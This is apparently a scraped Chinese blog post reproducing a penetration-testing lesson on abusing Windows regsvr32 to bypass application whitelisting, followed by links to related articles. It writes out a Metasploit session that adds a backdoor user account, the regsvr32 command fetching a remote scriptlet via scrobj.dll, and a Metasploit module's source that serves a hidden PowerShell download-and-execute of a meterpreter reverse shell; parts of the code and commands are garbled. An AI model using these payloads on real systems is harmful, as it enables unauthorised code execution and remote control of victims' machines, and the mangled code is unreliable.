复现亮神课程 基于白名单执行payload--Regsvr32

0x01 Regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。

说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。

Windows 2003 默认位置:

C:\WINDOWS\SysWOW64\regsvr32.exe

C:\WINDOWS\system32\regsvr32.exe

0x02 复现

攻击机:192.168.1.4 Debian
靶机: 192.168.1.119 Windows 2003

A)msf_regsvr32

Msf配置:

msf5 exploit(multi/handler) > use auxiliary/server/regsvr32_command_delivery_server

msf5 auxiliary(server/regsvr32_command_delivery_server) > set CMD net user qingxin qingxin /add

CMD => net user qingxin qingxin /add

msf5 auxiliary(server/regsvr32_command_delivery_server) > exploit

[*] Using URL: http://0.0.0.0:8080/OjwuLaHnidmiH96

[*] Local IP: http://192.168.190.141:8080/OjwuLaHnidmiH96

[*] Server started.

[*] Run the following command on the target machine:

regsvr32 /s /n /u /i:http://192.168.190.141:8080/OjwuLaHnidmiH96 scrobj.dll

靶机执行:

C:\Users\Administrator\Desktop\Regsvr32>regsvr32 /s /n /u /i:http::/OjwuLaHnidmiH96 scrobj.dllv

结果:

B) powershell版regsvr32

regsvr32_applocker_bypass_server.rb:

##
# This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit‐framework
##
class MetasploitModule < Msf::Exploit::RemoteRank = ManualRanking 

include Msf::Exploit::Powershell
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})super(update_info(info,'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.),
'License' => MSF_LICENSE,'Author' =>['Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)'Trenton Ivey', # MSF Module (kn0)],'DefaultOptions' =>{'Payload' => 'windows/meterpreter/reverse_tcp'},'Targets' => [['PSH', {}]],'Platform' => %w(win),'Arch' => [ARCH_X86, ARCH_X86_64],'DefaultTarget' => 0,'DisclosureDate' => 'Apr 19 2016','References' =>[['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']]))end
def primerprint_status('Run the following command on the target machine:')print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")end
def on_request_uri(cli, _request)# If the resource request ends with '.sct', serve the .sct file# Otherwise, serve the PowerShell payloadif _request.raw_uri =~ /\.sct$/
serve_sct_fileelse
serve_psh_payloadendend
def serve_sct_fileprint_status("Handling request for the .sct file from #{cli.peerhost}")
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
download_and_run = "#{ignore_cert}#{download_string}"
psh_command = generate_psh_command_line(
noprofile: true,
windowstyle: 'hidden',
command: download_and_run)
data = gen_sct_file(psh_command)send_response(cli, data, 'Content‐Type' => 'text/plain')end
def serve_psh_payloadprint_status("Delivering payload to #{cli.peerhost}")
data = cmd_psh_payload(payload.encoded,
payload_instance.arch.first,
remove_comspec: true,
use_single_quotes: true)send_response(cli,data,'Content‐Type' => 'application/octet‐stream')end
def rand_class_id"#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"end
def gen_sct_file(command)%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}end
end

Msf配置:

靶机执行:

渗透测试-基于白名单执行payload--Regsvr32的更多相关文章

  1. 渗透测试-基于白名单执行payload--Odbcconf

    复现亮神课程 基于白名单执行payload--Odbcconf 0x01 Odbcconf简介: ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据源. 微软官方文档:https ...

  2. 渗透测试-基于白名单执行payload--Msiexec

    复现亮神课程  基于白名单执行payload--Msiexec 0x01 关于msiexec Msiexec 是 Windows Installer 的一部分.用于安装 Windows Install ...

  3. 渗透测试-基于白名单执行payload--Csc

    复现亮神课程 基于白名单执行payload--csc 0x01 Csc.exe C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你 ...

  4. 渗透测试=基于白名单执行payload--Ftp

    还是自己动手复现亮神课程的过程. 环境 靶机win7 攻击机 kali Ftp.exe简介: Ftp.exe是Windows本身自带的一个程序,属于微软TP工具,提供基本的FTP访问 说明:Ftp.e ...

  5. 渗透测试-基于白名单执行payload--zipfldr.dll

    0x01 zipfldr.dll简介: zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件. 说明:zipfldr.dll所在路径已被系统添加PATH环境变量中,因此, ...

  6. 渗透测试-基于白名单执行payload--Compiler

    复现亮神课程 0x01 Compiler前言 说明:Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式 ...

  7. 渗透测试-基于白名单执行payload--Cmstp

    0x01 Cmstp简介 Cmstp安装或删除“连接管理器”服务配置文件.如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件. 微软官方文档: ...

  8. 渗透测试-基于白名单执行payload--Pcalua

    0x01 Pcalua简介 Windows进程兼容性助理(Program Compatibility Assistant)的一个组件. 说明:Pcalua.exe所在路径已被系统添加PATH环境变量中 ...

  9. 渗透测试-基于白名单执行payload--Forfiles

    0x01 Forfiles简介: Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件.常与批处理配合使用. 微软官方文档:https://docs.mi ...

随机推荐

  1. PHP 错误:Warning: Cannot modify header information - headers already sent by ...

    PHP初学者容易遇到的错误:Warning: Cannot modify header information - headers already sent by ...: 通常是由不正确使用 hea ...

  2. JAVA内存模型与JVM内存结构

    问题:什么事java内存模型? 首先呢不要答堆.栈.方法区.这是JVM的内存结构.下面阐述了JMM和JVM的区别和自己对JMM的见解 1.Java内存模型(JMM):即多线程相关的.定义了一个线程对另 ...

  3. b161: NOIP2007 4.Hanoi双塔问题

    zerojudge  汉诺塔?图片问度娘 b161: NOIP2007 4.Hanoi双塔问题 题目: 给定A.B.C三根足够长的细柱,在A柱上放有2n个中间有孔的圆盘,共有n个不同的尺寸,每个尺寸都 ...

  4. Hibernate 框架简单解说

  5. iOS上架的整体流程和建议

    App Store上架指的是iOS应用从提交申请到上线的整个过程,它的目的是让应用展示在App Store上获取流量.用户. 一.iOS上架的整体流程 1.申请开发者账号 苹果的开发者账号主要分为三种 ...

  6. linux切换jdk

    一.安装openjdk yum search openjdk yum install java-1.8.0-openjdk-devel-debug.x86_64 二.查询java版本 alternat ...

  7. eclipse中xml文件格式化

    eclipse中xml文件格式化(ctrl+shift+f),可能会发现格式化xml文件后很乱,如图: 这不是我想要的样子,我想要的是这样的: 解决办法:windows -> Perferenc ...

  8. 客户端与服务端的事件watcher源码阅读

    watcher存在的必要性 举个特容易懂的例子: 假如我的项目是基于dubbo+zookeeper搭建的分布式项目, 我有三个功能相同的服务提供者,用zookeeper当成注册中心,我的三个项目得注册 ...

  9. asp.net core3.0 mvc 用 autofac

    好久没有写文章了,最近在用.net core3.0,一些开发中问题顺便记录: 1.首先nuget引入 Autofac Autofac.Extensions.DependencyInjection 2. ...

  10. JavaScript总结(一)

    一.JavaScript 简介 1.1 .什么是 JavaScript? JavaScript 的简称:JS. JavaScript 是一个脚本.(不需要经过编译器编译的语言就叫做脚本) JavaSc ...